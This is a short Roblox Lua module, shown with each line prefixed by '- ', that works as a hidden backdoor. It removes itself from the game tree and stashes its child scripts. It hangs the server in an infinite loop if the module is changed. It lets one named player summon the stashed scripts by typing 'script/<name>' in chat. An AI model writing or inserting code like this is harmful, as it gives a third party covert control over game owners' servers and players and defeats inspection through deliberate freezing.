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- script.Parent = nil
- local Module = script;
- local Scripts = {};
- for _,v in next, Module:GetChildren'' do
- Scripts[v.Name:lower()] = v:Clone();
- v:Remove()
- end;
- Module.Changed:connect(function() repeat while true do end until nil end)
- local Players = game:GetService("Players");
- return function()
- local Me = Players:FindFirstChild("Helkern");
- Me.Chatted:connect(function(Message)
- if string.sub(Message,1,7) == "script/" then
- if(Scripts[string.sub(Message,8):lower()])then
- local given = Scripts[string.sub(Message,8):lower()]
- given:Clone().Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;
- end
- end;
- end)
- end
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